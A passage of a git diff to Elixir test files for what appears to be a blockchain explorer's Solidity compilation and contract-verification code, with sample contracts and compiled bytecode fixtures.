contract_code_info_modern_compiler.version, + code: contract_code_info_modern_compiler.source_code, + optimize: optimize, + evm_version: "byzantium" + ) - code = """ - contract SimpleStorage { - uint storedData; + assert {:ok, + %{ + "abi" => _, + "bytecode" => _, + "name" => _ + }} = response + end - function set(uint x) public { - storedData = x; - } + test "compiles smart contract with default evm version", %{ + contract_code_info_modern_compiler: contract_code_info_modern_compiler + } do + optimize = true - function get() public constant returns (uint) { - return storedData; - } - } - """ + response = + CodeCompiler.run( + name: contract_code_info_modern_compiler.name, + compiler_version: contract_code_info_modern_compiler.version, + code: contract_code_info_modern_compiler.source_code, + optimize: optimize, + evm_version: "default" + ) - version = "v0.1.3+commit.028f561d" + assert {:ok, + %{ + "abi" => _, + "bytecode" => _, + "name" => _ + }} = response + end + + test "compiles code with external libraries" do + Enum.each(@compiler_tests, fn compiler_test -> + compiler_version = compiler_test["compiler_version"] + external_libraries = compiler_test["external_libraries"] + name = compiler_test["name"] + optimize = compiler_test["optimize"] + contract = compiler_test["contract"] + + {:ok, result} = + CodeCompiler.run( + name: name, + compiler_version: compiler_version, + code: contract, + optimize: optimize, + evm_version: "byzantium", + external_libs: external_libraries + ) + + clean_result = remove_init_data_and_whisper_data(result["bytecode"]) + expected_result = remove_init_data_and_whisper_data(compiler_test["tx_input"]) + + assert expected_result == clean_result + end) + end + + test "compiles with constantinople evm version" do + optimize = false + name = "MyTest" + + code = """ + pragma solidity 0.5.2; + + contract MyTest { + constructor() public { + } + + mapping(address => bytes32) public myMapping; + + function contractHash(address _addr) public { + bytes32 hash; + assembly { hash := extcodehash(_addr) } + myMapping[_addr] = hash; + } + + function justHash(bytes memory _bytes) + public + pure + returns (bytes32) + { + return keccak256(_bytes); + } + } + """ + + version = "v0.5.2+commit.1df8f40c" + + evm_version = "constantinople" + + response = + CodeCompiler.run( + name: name, + compiler_version: version, + code: code, + optimize: optimize, + evm_version: evm_version + ) - response = CodeCompiler.run(name: name, compiler_version: version, code: code, optimize: optimize) + assert {:ok, + %{ + "abi" => _, + "bytecode" => _, + "name" => _ + }} = response + end - assert {:ok, - %{ - "abi" => _, - "bytecode" => _, - "name" => _ - }} = response - end + test "compiles in an older solidity version" do + optimize = false + name = "SimpleStorage" - test "returns compilation error when compilation isn't possible", %{ - contract_code_info: contract_code_info - } do - wrong_code = "pragma solidity ^0.4.24; cont SimpleStorage { " - - response = - CodeCompiler.run( - name: contract_code_info.name, - compiler_version: contract_code_info.version, - code: wrong_code, - optimize: contract_code_info.optimized - ) - - assert {:error, :compilation, "Expected pragma, import directive or contract/interface/library definition."} = - response - end + code = """ + contract SimpleStorage { + uint storedData; - test "returns constructor in abi" do - code = """ - pragma solidity ^0.4.22; - - contract OwnedToken { - // TokenCreator is a contract type that is defined below. - // It is fine to reference it as long as it is not used - // to create a new contract. - TokenCreator creator; - address owner; - bytes32 name; - - // This is the constructor which registers the - // creator and the assigned name. - constructor(bytes32 _name) public { - // State variables are accessed via their name - // and not via e.g. this.owner. This also applies - // to functions and especially in the constructors, - // you can only call them like that ("internally"), - // because the contract itself does not exist yet. - owner = msg.sender; - // We do an explicit type conversion from `address` - // to `TokenCreator` and assume that the type of - // the calling contract is TokenCreator, there is - // no real way to check that. - creator = TokenCreator(msg.sender); - name = _name; + function set(uint x) public { + storedData = x; } - function changeName(bytes32 newName) public { - // Only the creator can alter the name -- - // the comparison is possible since contracts - // are implicitly convertible to addresses. - if (msg.sender == address(creator)) - name = newName; - } - - function transfer(address newOwner) public { - // Only the current owner can transfer the token. - if (msg.sender != owner) return; - // We also want to ask the creator if the transfer - // is fine. Note that this calls a function of the - // contract defined below. If the call fails (e.g. - // due to out-of-gas), the execution here stops - // immediately. - if (creator.isTokenTransferOK(owner, newOwner)) - owner = newOwner; + function get() public constant returns (uint) { + return storedData; } } + """ - contract TokenCreator { - function createToken(bytes32 name) - public - returns (OwnedToken tokenAddress) - { - // Create a new Token contract and return its address. - // From the JavaScript side, the return type is simply - // `address`, as this is the closest type available in - // the ABI. - return new OwnedToken(name); - } + version = "v0.1.3+commit.028f561d" - function changeName(OwnedToken tokenAddress, bytes32 name) public { - // Again, the external type of `tokenAddress` is - // simply `address`. - tokenAddress.changeName(name); - } + response = CodeCompiler.run(name: name, compiler_version: version, code: code, optimize: optimize) - function isTokenTransferOK(address currentOwner, address newOwner) - public - view - returns (bool ok) - { - // Check some arbitrary condition. - address tokenAddress = msg.sender; - return (keccak256(newOwner) & 0xff) == (bytes20(tokenAddress) & 0xff); - } - } - """ + assert {:ok, + %{ + "abi" => _, + "bytecode" => _, + "name" => _ + }} = response + end - name = "OwnedToken" - compiler_version = "v0.4.22+commit.4cb486ee" + test "returns compilation error when compilation isn't possible", %{ + contract_code_info: contract_code_info + } do + wrong_code = "pragma solidity ^0.4.24; cont SimpleStorage { " - {:ok, %{"abi" => abi}} = - CodeCompiler.run( - name: name, - compiler_version: compiler_version, - code: code, - evm_version: "byzantium", - optimize: true - ) + response = + CodeCompiler.run( + name: contract_code_info.name, + compiler_version: contract_code_info.version, + code: wrong_code, + optimize: contract_code_info.optimized + ) - assert Enum.any?(abi, fn el -> el["type"] == "constructor" end) - end + assert {:error, :compilation, "Expected pragma, import directive or contract/interface/library definition."} = + response + end + + test "returns constructor in abi" do + code = """ + pragma solidity ^0.4.22; + + contract OwnedToken { + // TokenCreator is a contract type that is defined below. + // It is fine to reference it as long as it is not used + // to create a new contract. + TokenCreator creator; + address owner; + bytes32 name; + + // This is the constructor which registers the + // creator and the assigned name. + constructor(bytes32 _name) public { + // State variables are accessed via their name + // and not via e.g. this.owner. This also applies + // to functions and especially in the constructors, + // you can only call them like that ("internally"), + // because the contract itself does not exist yet. + owner = msg.sender; + // We do an explicit type conversion from `address` + // to `TokenCreator` and assume that the type of + // the calling contract is TokenCreator, there is + // no real way to check that. + creator = TokenCreator(msg.sender); + name = _name; + } + + function changeName(bytes32 newName) public { + // Only the creator can alter the name -- + // the comparison is possible since contracts + // are implicitly convertible to addresses. + if (msg.sender == address(creator)) + name = newName; + } + + function transfer(address newOwner) public { + // Only the current owner can transfer the token. + if (msg.sender != owner) return; + // We also want to ask the creator if the transfer + // is fine. Note that this calls a function of the + // contract defined below. If the call fails (e.g. + // due to out-of-gas), the execution here stops + // immediately. + if (creator.isTokenTransferOK(owner, newOwner)) + owner = newOwner; + } + } - test "can compile a large file" do - path = File.cwd!() <> "/test/support/fixture/smart_contract/large_smart_contract.sol" - contract = File.read!(path) - - assert {:ok, %{"abi" => _abi}} = - CodeCompiler.run( - name: "HomeWorkDeployer", - compiler_version: "v0.5.9+commit.e560f70d", - code: contract, - evm_version: "constantinople", - optimize: true - ) - end - end + contract TokenCreator { + function createToken(bytes32 name) + public + returns (OwnedToken tokenAddress) + { + // Create a new Token contract and return its address. + // From the JavaScript side, the return type is simply + // `address`, as this is the closest type available in + // the ABI. + return new OwnedToken(name); + } + + function changeName(OwnedToken tokenAddress, bytes32 name) public { + // Again, the external type of `tokenAddress` is + // simply `address`. + tokenAddress.changeName(name); + } + + function isTokenTransferOK(address currentOwner, address newOwner) + public + view + returns (bool ok) + { + // Check some arbitrary condition. + address tokenAddress = msg.sender; + return (keccak256(newOwner) & 0xff) == (bytes20(tokenAddress) & 0xff); + } + } + """ - describe "get_contract_info/1" do - test "return name error when the Contract name doesn't match" do - name = "Name" - different_name = "diff_name" + name = "OwnedToken" + compiler_version = "v0.4.22+commit.4cb486ee" - response = CodeCompiler.get_contract_info(%{name => %{}}, different_name) + {:ok, %{"abi" => abi}} = + CodeCompiler.run( + name: name, + compiler_version: compiler_version, + code: code, + evm_version: "byzantium", + optimize: true + ) - assert {:error, :name} == response + assert Enum.any?(abi, fn el -> el["type"] == "constructor" end) + end + + test "can compile a large file" do + path = File.cwd!() <> "/test/support/fixture/smart_contract/large_smart_contract.sol" + contract = File.read!(path) + + assert {:ok, %{"abi" => _abi}} = + CodeCompiler.run( + name: "HomeWorkDeployer", + compiler_version: "v0.5.9+commit.e560f70d", + code: contract, + evm_version: "constantinople", + optimize: true + ) + end end - test "returns compilation error for empty info" do - name = "Name" + describe "get_contract_info/1" do + test "return name error when the Contract name doesn't match" do + name = "Name" + different_name = "diff_name" - response = CodeCompiler.get_contract_info(%{}, name) + response = CodeCompiler.get_contract_info(%{name => %{}}, different_name) - assert {:error, :compilation} == response - end + assert {:error, :name} == response + end - test "the contract info is returned when the name matches" do - contract_inner_info = %{"abi" => %{}, "bytecode" => ""} - name = "Name" - contract_info = %{name => contract_inner_info} + test "returns compilation error for empty info" do + name = "Name" - response = CodeCompiler.get_contract_info(contract_info, name) + response = CodeCompiler.get_contract_info(%{}, name) - assert contract_inner_info == response - end + assert {:error, :compilation} == response + end + + test "the contract info is returned when the name matches" do + contract_inner_info = %{"abi" => %{}, "bytecode" => ""} + name = "Name" + contract_info = %{name => contract_inner_info} + + response = CodeCompiler.get_contract_info(contract_info, name) - test "the contract info is returned when the name matches with a `:` suffix" do - name = "Name" - name_with_suffix = ":Name" - contract_inner_info = %{"abi" => %{}, "bytecode" => ""} - contract_info = %{name_with_suffix => contract_inner_info} + assert contract_inner_info == response + end - response = CodeCompiler.get_contract_info(contract_info, name) + test "the contract info is returned when the name matches with a `:` suffix" do + name = "Name" + name_with_suffix = ":Name" + contract_inner_info = %{"abi" => %{}, "bytecode" => ""} + contract_info = %{name_with_suffix => contract_inner_info} - assert contract_inner_info == response + response = CodeCompiler.get_contract_info(contract_info, name) + + assert contract_inner_info == response + end end - end - # describe "allowed_evm_versions/0" do - # test "returns allowed evm versions defined by ALLOWED_EVM_VERSIONS env var" do - # Application.put_env(:explorer, :allowed_evm_versions, "CustomEVM1,CustomEVM2,CustomEVM3") - # response = CodeCompiler.allowed_evm_versions() + # describe "allowed_solidity_evm_versions/0" do + # test "returns allowed evm versions defined by ALLOWED_EVM_VERSIONS env var" do + # Application.put_env(:explorer, :allowed_solidity_evm_versions, "CustomEVM1,CustomEVM2,CustomEVM3") + # response = CodeCompiler.evm_versions(:solidity) - # assert ["CustomEVM1", "CustomEVM2", "CustomEVM3"] = response - # end + # assert ["CustomEVM1", "CustomEVM2", "CustomEVM3"] = response + # end - # test "returns allowed evm versions defined by not trimmed ALLOWED_EVM_VERSIONS env var" do - # Application.put_env(:explorer, :allowed_evm_versions, "CustomEVM1, CustomEVM2, CustomEVM3") - # response = CodeCompiler.allowed_evm_versions() + # test "returns allowed evm versions defined by not trimmed ALLOWED_EVM_VERSIONS env var" do + # Application.put_env(:explorer, :allowed_solidity_evm_versions, "CustomEVM1, CustomEVM2, CustomEVM3") + # response = CodeCompiler.evm_versions(:solidity) - # assert ["CustomEVM1", "CustomEVM2", "CustomEVM3"] = response - # end + # assert ["CustomEVM1", "CustomEVM2", "CustomEVM3"] = response + # end - # test "returns default_allowed_evm_versions" do - # Application.put_env( - # :explorer, - # :allowed_evm_versions, - # "homestead,tangerineWhistle,spuriousDragon,byzantium,constantinople,petersburg" - # ) + # test "returns default_allowed_evm_versions" do + # Application.put_env( + # :explorer, + # :allowed_solidity_evm_versions, + # "homestead,tangerineWhistle,spuriousDragon,byzantium,constantinople,petersburg" + # ) - # response = CodeCompiler.allowed_evm_versions() + # response = CodeCompiler.evm_versions(:solidity) - # assert ["homestead", "tangerineWhistle", "spuriousDragon", "byzantium", "constantinople", "petersburg"] = response - # end - # end + # assert ["homestead", "tangerineWhistle", "spuriousDragon", "byzantium", "constantinople", "petersburg"] = response + # end + # end - defp remove_init_data_and_whisper_data(code) do - {res, _} = - code - |> String.split("0029") - |> List.first() - |> String.split_at(-64) + defp remove_init_data_and_whisper_data(code) do + {res, _} = + code + |> String.split("0029") + |> List.first() + |> String.split_at(-64) - res + res + end end end diff --git a/apps/explorer/test/explorer/smart_contract/solidity/publisher_test.exs b/apps/explorer/test/explorer/smart_contract/solidity/publisher_test.exs index ae44ad4d3957..8dfa6e1ac767 100644 --- a/apps/explorer/test/explorer/smart_contract/solidity/publisher_test.exs +++ b/apps/explorer/test/explorer/smart_contract/solidity/publisher_test.exs @@ -1,188 +1,242 @@ defmodule Explorer.SmartContract.Solidity.PublisherTest do use ExUnit.Case, async: true - use Explorer.DataCase - doctest Explorer.SmartContract.Solidity.Publisher - - @moduletag timeout: :infinity - - alias Explorer.Chain.{ContractMethod, SmartContract} - alias Explorer.{Factory, Repo} - alias Explorer.SmartContract.Solidity.Publisher - - describe "publish/2" do - test "with valid data creates a smart_contract" do - contract_code_info = Factory.contract_code_info_modern_compilator() - - contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] - :transaction - |> insert(created_contract_address_hash: contract_address.hash, input: contract_code_info.tx_input) - |> with_block(status: :ok) - - valid_attrs = %{ - "contract_source_code" => contract_code_info.source_code, - "compiler_version" => contract_code_info.version, - "name" => contract_code_info.name, - "optimization" => contract_code_info.optimized - } - - response = Publisher.publish(contract_address.hash, valid_attrs) - assert {:ok, %SmartContract{} = smart_contract} = response - - assert smart_contract.address_hash == contract_address.hash - assert smart_contract.name == valid_attrs["name"] - assert smart_contract.compiler_version == valid_attrs["compiler_version"] - assert smart_contract.optimization == valid_attrs["optimization"] - assert smart_contract.contract_source_code == valid_attrs["contract_source_code"] - assert is_nil(smart_contract.constructor_arguments) - assert smart_contract.abi == contract_code_info.abi - end + if @chain_type == :default do + doctest Explorer.SmartContract.Solidity.Publisher - test "detects and adds constructor arguments if autodetection is checked" do - path = File.cwd!() <> "/test/support/fixture/smart_contract/solidity_0.5.9_smart_contract.sol" - contract = File.read!(path) - - expected_constructor_arguments = - "00000000000000000000000000000000000000000000003635c9adc5dea000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000a54657374546f6b656e32000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006546f6b656e320000000000000000000000000000000000000000000000000000" - - bytecode = - "0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633177029f116100715780633177029f1461025f57806354fd4d50146102c557806370a082311461034857806395d89b41146103a0578063a9059cbb14610423578063dd62ed3e14610489576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b6610501565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059f565b604051808215151515815260200191505060405180910390f35b61019f610691565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b604051808215151515815260200191505060405180910390f35b61024361090f565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b6102cd610a14565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030d5780820151818401526020810190506102f2565b50505050905090810190601f16801561033a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603602081101561035e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b6103a8610afa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e85780820151818401526020810190506103cd565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b604051808215151515815260200191505060405180910390f35b6104eb6004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105975780601f1061056c57610100808354040283529160200191610597565b820191906000526020600020905b81548152906001019060200180831161057a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610762575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561076e5750600082115b1561090357816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610908565b600090505b9392505050565b600460009054906101000a900460ff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaa5780601f10610a7f57610100808354040283529160200191610aaa565b820191906000526020600020905b815481529060010190602001808311610a8d57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610be85750600082115b15610cf357816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cf8565b600090505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea265627a7a723058205538c6fbf4f1885c37cee088edf3832ae2abb038a1a141daaa8b0ce7e9df42d964736f6c63430005090032" - - input = - "0x60806040526040518060400160405280600381526020017f302e3100000000000000000000000000000000000000000000000000000000008152506006908051906020019062000051929190620001e2565b503480156200005f57600080fd5b506040516200105b3803806200105b833981810160405260808110156200008557600080fd5b81019080805190602001909291908051640100000000811115620000a857600080fd5b82810190506020810184811115620000bf57600080fd5b8151856001820283011164010000000082111715620000dd57600080fd5b50509291906020018051906020019092919080516401000000008111156200010457600080fd5b828101905060208101848111156200011b57600080fd5b81518560018202830111640100000000821117156200013957600080fd5b5050929190505050836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550836002819055508260039080519060200190620001a3929190620001e2565b5081600460006101000a81548160ff021916908360ff1602179055508060059080519060200190620001d7929190620001e2565b505050505062000291565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200022557805160ff191683800117855562000256565b8280016001018555821562000256579182015b828111156200025557825182559160200191906001019062000238565b5b50905062000265919062000269565b5090565b6200028e91905b808211156200028a57600081600090555060010162000270565b5090565b90565b610dba80620002a16000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633177029f116100715780633177029f1461025f57806354fd4d50146102c557806370a082311461034857806395d89b41146103a0578063a9059cbb14610423578063dd62ed3e14610489576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b6610501565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059f565b604051808215151515815260200191505060405180910390f35b61019f610691565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b604051808215151515815260200191505060405180910390f35b61024361090f565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b6102cd610a14565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030d5780820151818401526020810190506102f2565b50505050905090810190601f16801561033a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603602081101561035e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b6103a8610afa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e85780820151818401526020810190506103cd565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b604051808215151515815260200191505060405180910390f35b6104eb6004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105975780601f1061056c57610100808354040283529160200191610597565b820191906000526020600020905b81548152906001019060200180831161057a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610762575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561076e5750600082115b1561090357816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610908565b600090505b9392505050565b600460009054906101000a900460ff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaa5780601f10610a7f57610100808354040283529160200191610aaa565b820191906000526020600020905b815481529060010190602001808311610a8d57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610be85750600082115b15610cf357816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cf8565b600090505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea265627a7a723058205538c6fbf4f1885c37cee088edf3832ae2abb038a1a141daaa8b0ce7e9df42d964736f6c63430005090032" - - contract_address = insert(:contract_address, contract_code: bytecode) - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: input <> expected_constructor_arguments - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract, - "compiler_version" => "v0.5.9+commit.e560f70d", - "evm_version" => "petersburg", - "name" => "TestToken", - "optimization" => false, - "autodetect_constructor_args" => "true" - } - - assert {:ok, result} = Publisher.publish(contract_address.hash, params) - assert result.constructor_arguments == expected_constructor_arguments - end + @moduletag timeout: :infinity - test "corresponding contract_methods are created for the abi" do - contract_code_info = Factory.contract_code_info_modern_compilator() + alias Explorer.Chain.{Data, ContractMethod, SmartContract} + alias Explorer.{Factory, Repo} + alias Explorer.SmartContract.Solidity.Publisher - contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) + setup do + configuration = Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour) + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, enabled: false) + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) - :transaction - |> insert(created_contract_address_hash: contract_address.hash, input: contract_code_info.tx_input) - |> with_block(status: :ok) - - valid_attrs = %{ - "contract_source_code" => contract_code_info.source_code, - "compiler_version" => contract_code_info.version, - "name" => contract_code_info.name, - "optimization" => contract_code_info.optimized - } - - response = Publisher.publish(contract_address.hash, valid_attrs) - assert {:ok, %SmartContract{} = _smart_contract} = response - - Enum.each(contract_code_info.abi, fn selector -> - [parsed] = ABI.parse_specification([selector]) - - assert Repo.get_by(ContractMethod, abi: selector, identifier: parsed.method_id) + on_exit(fn -> + Application.put_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour, configuration) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) end) end - test "creates a smart contract with constructor arguments" do - contract_code_info = Factory.contract_code_info_with_constructor_arguments() - - contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) - - params = %{ - "contract_source_code" => contract_code_info.source_code, - "compiler_version" => contract_code_info.version, - "name" => contract_code_info.name, - "optimization" => contract_code_info.optimized, - "optimization_runs" => contract_code_info.optimization_runs, - "constructor_arguments" => contract_code_info.constructor_args - } - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: contract_code_info.tx_input - ) - |> with_block(status: :ok) - - response = Publisher.publish(contract_address.hash, params) - assert {:ok, %SmartContract{} = smart_contract} = response - - assert smart_contract.constructor_arguments == 